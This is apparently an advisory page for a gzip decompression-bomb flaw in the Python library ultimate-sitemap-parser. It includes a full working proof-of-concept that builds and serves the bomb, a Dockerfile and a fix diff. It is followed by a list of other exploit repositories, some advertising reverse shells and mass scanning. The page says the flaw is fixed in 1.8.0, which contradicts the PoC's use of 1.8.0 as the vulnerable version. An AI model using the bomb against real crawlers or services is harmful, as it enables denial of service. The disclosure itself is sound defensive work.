Feed/GHSA-8823-qg2x-pv9f
GHSA-8823-qg2x-pv9fHIGHCVSS 7.5

Ultimate Sitemap Parser (USP): Gzip Decompression Bomb Bypasses Sitemap Size Limit

Published Jun 19, 2026·Updated Jun 23, 2026

NVD Description

## Gzip Decompression Bomb Bypasses Sitemap Size Limit ### Summary `ultimate-sitemap-parser` enforces a 100 MiB size limit on sitemap responses, but applies it only to the **compressed** bytes received over the network. When a `.gz` sitemap is fetched, `usp/helpers.py:239` calls `gzip_lib.decompress(data)` with no output-size cap, allowing an attacker-controlled server to serve a small gzip-compressed payload (~549 KB) that expands to over 120 MiB in process memory. This completely bypasses the declared limit and can exhaust memory or crash any process that calls `sitemap_tree_for_homepage()` against an untrusted site. ### Details The library declares a maximum sitemap size constant in `usp/fetch_parse.py:64`: ```python __MAX_SITEMAP_SIZE = 100 * 1024 * 1024 # Max. uncompressed sitemap size ``` Despite the comment saying "uncompressed", this value is passed directly to the HTTP client layer at `usp/fetch_parse.py:130`: ```python web_client.set_max_response_data_length(self.__MAX_SITEMAP_SIZE) ``` The HTTP client (`usp/web_client/requests_client.py:57-58`) slices only the raw compressed response bytes: ```python data = self.__requests_response.content[: self.__max_response_data_length] ``` The truncated (but still compressed) bytes are then passed through the pipeline to `usp/fetch_parse.py:175`: ```python response_content = ungzipped_response_content(url=self._url, response=response) ``` Inside `ungzipped_response_content` (`usp/helpers.py:265-267`), when the URL ends in `.gz` or the response carries a gzip content type, decompression is triggered: ```python if __response_is_gzipped_data(url=url, response=response): data = gunzip(data) ``` The `gunzip` function (`usp/helpers.py:239`) decompresses without any output-size guard: ```python gunzipped_data = gzip_lib.decompress(data) ``` No post-decompression size check exists anywhere in the call chain. Dynamic reproduction confirmed that 549,213 bytes of compressed input passed the 100 MiB gate check (`compressed < limit → True`) and then expanded to 125,829,234 bytes (120.0 MiB) in memory with no exception raised. ### PoC **Environment setup:** ```bash # Clone the repository at the affected commit git clone https://github.com/GateNLP/ultimate-sitemap-parser /tmp/usp-repo cd /tmp/usp-repo git checkout 182f4642f145230b68e7518e627883edd09168ca # Build and run via Docker (memory-limited to 512 MiB) docker build -t usp-vuln-002 -f vuln-002/Dockerfile /path/to/report-dir/ docker run --rm --memory=512m usp-vuln-002 ``` **Alternatively, run directly:** ```bash python -m venv /tmp/usp-poc . /tmp/usp-poc/bin/activate pip install ultimate-sitemap-parser==1.8.0 python3 poc.py ``` **PoC script (`poc.py`) — abbreviated attack flow:** ```python import gzip, threading from http.server import BaseHTTPRequestHandler, HTTPServer from usp.tree import sitemap_tree_for_homepage # Build a gzip bomb: 120 MB uncompressed, ~549 KB compressed bomb_xml = ( b'<?xml version="1.0" encoding="UTF-8"?>' b'<urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">' b'<!--' + b'B' * (120 * 1024 * 1024) + b'-->' b'</urlset>' ) compressed_bomb = gzip.compress(bomb_xml, compresslevel=1) class BombHandler(BaseHTTPRequestHandler): def do_GET(self): port = self.server.server_address[1] if self.path == "/robots.txt": body = f"Sitemap: http://127.0.0.1:{port}/sitemap.xml.gz\n".encode() self.send_response(200); self.end_headers(); self.wfile.write(body) elif self.path == "/sitemap.xml.gz": self.send_response(200) self.send_header("Content-Type", "application/x-gzip") self.end_headers(); self.wfile.write(compressed_bomb) else: self.send_response(404); self.end_headers() def log_message(self, *a): pass server = HTTPServer(("127.0.0.1", 0), BombHandler) port = server.server_address[1] threading.Thread(target=server.serve_forever, daemon=True).start() sitemap_tree_for_homepage(f"http://127.0.0.1:{port}/", use_known_paths=False) server.shutdown() ``` **Expected output:** ``` [INTERCEPT] gunzip() input=549,213 B output=125,829,234 B (120.0 MB) [+] sitemap_tree_for_homepage() returned without exception compressed=549,213 B < limit=104,857,600 B (passes gate) decompressed=125,829,234 B > limit=104,857,600 B (no post-decompress check) EXCEEDS LIMIT: True [PASS] Decompression bomb bypassed the size limit. ``` The parser fetches `/sitemap.xml.gz`, passes the compressed-size gate check, decompresses 549 KB into 120 MiB in process memory, and returns normally without raising an exception. **Remediation:** ```diff --- a/usp/helpers.py +++ b/usp/helpers.py +import io -def gunzip(data: bytes) -> bytes: +def gunzip(data: bytes, max_output_bytes: int | None = None) -> bytes: try: - gunzipped_data = gzip_lib.decompress(data) + chunks, total = [], 0 + with gzip_lib.GzipFile(fileobj=io.BytesIO(data)) as gz: + while chunk := gz.read(1024 * 1024): + total += len(chunk) + if max_output_bytes is not None and total > max_output_bytes: + raise GunzipException( + f"Gunzipped data exceeds maximum size of {max_output_bytes} bytes." + ) + chunks.append(chunk) + gunzipped_data = b"".join(chunks) -def ungzipped_response_content(url, response): +def ungzipped_response_content(url, response, max_uncompressed_size=None): - data = gunzip(data) + data = gunzip(data, max_output_bytes=max_uncompressed_size) --- a/usp/fetch_parse.py - response_content = ungzipped_response_content(url=self._url, response=response) + response_content = ungzipped_response_content( + url=self._url, response=response, + max_uncompressed_size=self.__MAX_SITEMAP_SIZE, + ) ``` ### Impact Any application that calls `sitemap_tree_for_homepage()` (or the underlying fetch/parse pipeline) against an attacker-controlled or compromised domain is vulnerable. The attacker only needs to control a web server that serves a valid `robots.txt` pointing to a gzip-compressed sitemap URL. No authentication or special configuration is required; the vulnerability is triggered by default library behavior. A ~549 KB compressed payload expands to 120 MiB in process memory. Larger bombs are possible up to the compressed-size limit (100 MiB of compressed data could expand to tens of gigabytes). Repeated requests or sufficiently large bombs can cause out-of-memory crashes, service disruptions, or denial of service in any process or service that performs sitemap crawling. This vulnerability is a **Denial of Service via Uncontrolled Resource Consumption (Decompression Bomb / Zip Bomb)**. Affected parties include: - SEO tooling, search engine crawlers, and indexing services using this library. - Web frameworks and microservices that expose a sitemap-crawling endpoint to external input. - Any automated pipeline that regularly crawls third-party sitemaps. ### Reproduction artifacts #### `Dockerfile` ```dockerfile FROM python:3.12-slim # Install build dependencies RUN apt-get update && apt-get install -y --no-install-recommends \ gcc \ && rm -rf /var/lib/apt/lists/* WORKDIR /app # Copy the vulnerable library from the cloned repo (build context: parent dir) COPY repo/ /app/repo/ # Install the library from local source (version 1.8.0) RUN pip install --no-cache-dir /app/repo/ # Copy the PoC script COPY vuln-002/poc.py /app/poc.py # Run with unbuffered output so evidence appears immediately CMD ["python3", "-u", "/app/poc.py"] ``` #### `poc.py` ```python #!/usr/bin/env python3 """ Proof-of-Concept for VULN-002: Gzip Decompression Bomb Bypasses Sitemap Size Limit GateNLP/ultimate-sitemap-parser 1.8.0 Vulnerability location: usp/helpers.py:239 gunzipped_data = gzip_lib.decompress(data) # no max_length Attack path: 1. Attacker serves /robots.txt pointing to /sitemap.xml.gz 2. Library enforces MAX_SITEMAP_SIZE (100 MB) on *compressed* response bytes 3. Library calls gunzip() with no output-size limit 4. Small compressed payload expands to >>100 MB in process memory Expected outcome: gunzip() output size > 100 MB with no exception raised. """ import gzip import sys import threading from http.server import BaseHTTPRequestHandler, HTTPServer # Mirrors usp/fetch_parse.py:64 — the library's declared maximum MAX_SITEMAP_SIZE = 100 * 1024 * 1024 # 100 MB # Bomb decompresses to this size (deliberately exceeds the limit) BOMB_UNCOMPRESSED_MB = 120 BOMB_UNCOMPRESSED_BYTES = BOMB_UNCOMPRESSED_MB * 1024 * 1024 def get_rss_mb() -> float: """Read current RSS from /proc/self/status in MB.""" try: with open("/proc/self/status") as fh: for line in fh: if line.startswith("VmRSS:"): return int(line.split()[1]) / 1024 except OSError: pass return 0.0 # --------------------------------------------------------------------------- # Step 1 — Build the gzip bomb # --------------------------------------------------------------------------- print("[*] Building gzip bomb (compresslevel=1, fast) ...") bomb_xml = ( b'<?xml version="1.0" encoding="UTF-8"?>' b'<urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">' b'<!--' + b'B' * BOMB_UNCOMPRESSED_BYTES + b'-->' b'</urlset>' ) compressed_bomb = gzip.compress(bomb_xml, compresslevel=1) print(f"[+] Uncompressed payload : {len(bomb_xml):>12,} bytes ({len(bomb_xml)/1024/1024:.1f} MB)") print(f"[+] Compressed bomb : {len(compressed_bomb):>12,} bytes ({len(compressed_bomb)/1024/1024:.3f} MB)") print(f"[+] Library MAX_SITEMAP_SIZE : {MAX_SITEMAP_SIZE:,} bytes (100.0 MB)") print(f"[+] compressed < limit : {len(compressed_bomb) < MAX_SITEMAP_SIZE} " f"(bomb passes the size gate)") print(f"[+] uncompressed > limit : {len(bomb_xml) > MAX_SITEMAP_SIZE} " f"(decompression would exceed intent)") print() # --------------------------------------------------------------------------- # Step 2 — Serve the bomb via a local HTTP server # --------------------------------------------------------------------------- class BombHandler(BaseHTTPRequestHandler): def do_GET(self) -> None: port = self.server.server_address[1] if self.path == "/robots.txt": body = ( f"User-agent: *\n" f"Sitemap: http://127.0.0.1:{port}/sitemap.xml.gz\n" ).encode() self.send_response(200) self.send_header("Content-Type", "text/plain; charset=utf-8") self.send_header("Content-Length", str(len(body))) self.end_headers() self.wfile.write(body) elif self.path == "/sitemap.xml.gz": self.send_response(200) self.send_header("Content-Type", "application/x-gzip") self.send_header("Content-Length", str(len(compressed_bomb))) self.end_headers() self.wfile.write(compressed_bomb) else: self.send_response(404) self.end_headers() def log_message(self, fmt: str, *args: object) -> None: # silence default log print(f" [HTTP] {self.path} {fmt % args}") server = HTTPServer(("127.0.0.1", 0), BombHandler) port = server.server_address[1] threading.Thread(target=server.serve_forever, daemon=True).start() print(f"[*] Bomb server listening on http://127.0.0.1:{port}/") # --------------------------------------------------------------------------- # Step 3 — Monkeypatch usp.helpers.gunzip to intercept decompressed size # --------------------------------------------------------------------------- import usp.helpers as _helpers _orig_gunzip = _helpers.gunzip _intercepted: list[int] = [] def _patched_gunzip(data: bytes) -> bytes: result = _orig_gunzip(data) _intercepted.append(len(result)) print(f" [INTERCEPT] gunzip() input={len(data):,} B output={len(result):,} B " f"({len(result)/1024/1024:.1f} MB)") return result _helpers.gunzip = _patched_gunzip # --------------------------------------------------------------------------- # Step 4 — Trigger the vulnerability # --------------------------------------------------------------------------- from usp.tree import sitemap_tree_for_homepage rss_before = get_rss_mb() print(f"[*] RSS before parse: {rss_before:.1f} MB") print(f"[*] Calling sitemap_tree_for_homepage(http://127.0.0.1:{port}/) ...") try: _tree = sitemap_tree_for_homepage( f"http://127.0.0.1:{port}/", use_known_paths=False, ) parse_raised = False print("[+] sitemap_tree_for_homepage() returned without exception") except Exception as exc: parse_raised = True print(f"[!] sitemap_tree_for_homepage() raised: {exc}") rss_after = get_rss_mb() print(f"[*] RSS after parse: {rss_after:.1f} MB (delta: +{rss_after - rss_before:.1f} MB)") server.shutdown() # --------------------------------------------------------------------------- # Step 5 — Evaluate and report # --------------------------------------------------------------------------- print() print("=" * 60) print("EXPLOIT RESULT SUMMARY") print("=" * 60) passed = False reason = "no gunzip intercept captured" if _intercepted: max_decompressed = max(_intercepted) print(f" gunzip() call(s) : {len(_intercepted)}") print(f" max decompressed : {max_decompressed:,} bytes ({max_decompressed/1024/1024:.1f} MB)") print(f" library limit : {MAX_SITEMAP_SIZE:,} bytes (100.0 MB)") print(f" EXCEEDS LIMIT : {max_decompressed > MAX_SITEMAP_SIZE}") if max_decompressed > MAX_SITEMAP_SIZE: passed = True reason = ( f"gunzip() decompressed {max_decompressed:,} bytes " f"({max_decompressed/1024/1024:.1f} MB), exceeding the " f"{MAX_SITEMAP_SIZE/1024/1024:.0f} MB limit without raising an exception" ) print() print(" [PASS] Decompression bomb bypassed the size limit.") print(f" compressed={len(compressed_bomb):,} B < limit={MAX_SITEMAP_SIZE:,} B " f"(passes gate)") print(f" decompressed={max_decompressed:,} B > limit={MAX_SITEMAP_SIZE:,} B " f"(no post-decompress check)") else: reason = ( f"gunzip() decompressed {max_decompressed:,} bytes but did not exceed " f"{MAX_SITEMAP_SIZE:,} bytes limit" ) print() print(" [FAIL] Decompressed size did not exceed limit.") else: print(" [FAIL] gunzip() was not intercepted — sitemap path not reached.") print("=" * 60) sys.exit(0 if passed else 1) ```

Affected Packages (1)

ultimate-sitemap-parserPYPI
Fixed in = 1.8.0

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PoC: CVE-2026-63077

CVE-2026-63077 - Unauthenticated RCE exploit for JetBrains TeamCity via Agent Polling Deserialization. Supports mass scanning, multi-threading, and interactive shell. For authorized security testing only.

PoC: CVE-2026-6471

CVE-2026-6471 - Draft or TODO

PoC: CVE-2026-73554

CVE-2026-73554 - Draft or TODO

PoC: CVE-2026-19516

CVE-2026-19516

PoC: gha-lab-51c6b6d0a0

Lab reproducing CVE-2025-67727 (parse-community/parse-server ci-performance.yml pull_request_target RCE at e78e58d) — authorized security research

PoC: gha-lab-6904b2ccbe

Security-research lab: reproduction of CVE-2025-61584 (GHSA-9g7x-737f-5xpc) — command injection via github.head_ref in pull_request_target workflow (.github/workflows/pr.yml)

PoC: CVE-2026-85046-Patch-confusion-zero-day-vulnerability-in-Google-Chrome-s-V8-engine

Conceptual C++ patch and structural analysis for CVE-2026-85046, a critical type confusion zero-day vulnerability in Google Chrome's V8 engine

PoC: cve-disclosures

CVE-2024-57551, CVE-2024-57552, CVE-2024-57553 advisories by Aman Bahiniya

PoC: unit-01-severity-vs-risk-reflection

cve-2026-25524 Holds no customer payment data, no monitoring in place, monitored 24/7 The CVSS score is technically serious, but it doesn't tell how exposed it is, weather our existing defenses would stop or contain an attack. We should confirm the vulnerable component is reachable by untrust input in our environment.

PoC: gha-lab-d14c91f1bb

Security-research lab: reproduction of CVE-2025-58371 (GitHub Actions command injection via PR title in Discord PR Notifier), snapshot of RooCodeInc/Roo-Code @ 08a825f9bb0086a88cff5a79b9af4731bba7d076

PoC: thymeleaf-check

Offline checker for Thymeleaf CVE-2026-40477 / CVE-2026-41901 — tells you which of the two CVSS 9.0 SSTI flaws you are exposed to, and whether your version line has a fix at all (3.0.x: it does not)

PoC: CVE-2024-36058

CVE-2024-36058 — Authenticated Time-Based Blind SQL Injection in Koha Library Software < 22.05.22 (opac-sendbasket.pl). Advisory + PoC by Hacklantic.

PoC: CVE-2024-36057

CVE-2024-36057 — Authenticated OS Command Injection in Koha Library Software < 22.05.22 (upload-cover-image.pl). Advisory + PoC by Hacklantic.

PoC: gha-lab-aa1cbc9bcf

Authorized security-research reproduction of CVE-2025-54594 (GHSA-588g-38p4-gr6x): privileged issue_comment-triggered canary release workflow checking out untrusted fork code and running its npm scripts with GITHUB_TOKEN/NPM_TOKEN in env. Snapshot of callstackincubator/react-native-bottom-tabs @ d765b1f695762490327dcb8f6a2f17542cf0abdb.

PoC: CVE-2026-82329-poc

CVE-2026-82329 Poc

PoC: CVE-2025-34158-CVE-2020-5741

CVE-2025-34158, CVE-2020-5741 - Draft or TODO

PoC: gha-lab-ba981941f0

Security-research lab reproducing CVE-2025-54430 (GHSA-wrg3-xqw8-m85p): secrets exfiltration via issue_comment-triggered Benchmark Bot in dedupeio/dedupe. Snapshot of dedupeio/dedupe@54ecfe77d41390da66899596834a2bde3712c966.

PoC: gha-lab-f894926966

Authorized security-research reproduction lab for CVE-2025-54415 (GHSA-g5hx-xv45-9whg): astronomer/dag-factory snapshot at 464c75a — pull_request_target head-SHA checkout executes attacker-controlled hatch scripts in base-repo context

PoC: gha-lab-6926364d94

Security research lab reproducing CVE-2025-53546 (GHSA-h87r-5w74-qfm4): pull_request_target arbitrary code execution in RSSNext/Folo's auto-fix lint workflow — authorized, isolated reproduction

PoC: CVE-2025-8518

CVE-2025-8518 - Draft or TODO

PoC: gha-lab-3b0a828a69

Security-research lab reproducing CVE-2025-53104 (GHSA-432r-9455-7f9x): command injection in discussion-to-slack.yml of gluestack/gluestack-ui

PoC: gha-lab-e8902eccd3

Security research lab: reproduction of CVE-2025-52467 (pgai pull_request_target workflow code execution / GITHUB_TOKEN exfiltration) — snapshot of timescale/pgai

PoC: tomcatfileread

CVE-2020-1938 (Ghostcat) Tomcat AJP file read/file include PoC with python3 port

PoC: CVE-Chamilo-LMS

CVE-2026-61578, CVE-2026-61582, CVE-2026-61583, CVE-2026-61584, CVE-2026-61585, CVE-2026-61587, CVE-2026-61600, CVE-2026-61601, CVE-2026-61602, CVE-2026-70647, CVE-2026-70648 - Draft or TODO

PoC: gha-lab-2f775f277c

Authorized lab reproduction of CVE-2025-47928 (spotipy-dev/spotipy pull_request_target secrets exfiltration) — snapshot at vulnerable commit 4f5759d

PoC: CVE-2026-31787

Linux kernel double free in Xen privcmd driver

PoC: gha-lab-fb6df3d456

Authorized security-research lab reproducing CVE-2025-46820 (GHSA-cwj7-6v67-2cm4): GITHUB_TOKEN persisted into publicly downloadable CI artifacts in phpgt/Dom. Snapshot of phpgt/Dom @ b73d7e8.

PoC: CVE-2026-20212

CVE-2026-20212 - Draft or TODO

PoC: CVE-2026-56718

AJCloud AJY IPC Firmware Path Traversal via jdbhttpd

PoC: psa-2026-00043-recovery

Recovery notes for proxmox advisory ID: PSA-2026-00043-1 (CVE-2023-54391)

PoC: gha-lab-ba8e0c4217

Authorized security-research lab: reproduction of CVE-2024-42370 / GHSA-4hq2-rpgc-r8r7 (env injection in docs-preview.yml) — snapshot of litestar-org/litestar@18d84d84

PoC: CVE-2026-65643-PoC-Toolkit

🧰 CVE-2026-65643 – cPanel Domain Parking RCE Toolkit (CVSS 8.7) | Red/Blue Team suite for unpatched cPanel & WHM 11.x (110,134,136,138). 2 tools: Full Exploit (reverse shell, webshell, persistence, root passwd, file R/W, mass scan, Tor), Blue Team PoC (detection, reporting, audit). w/Python. 🦾 Only Use Ethically, Stay Legal <3

PoC: CVE-2026-4813

PoC for CVE-2026-4813

PoC: cve-2026-75604

Research lab and exploit chain for CVE-2026-75604: path traversal in the Next.js incremental cache, to RCE on Windows.

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

References

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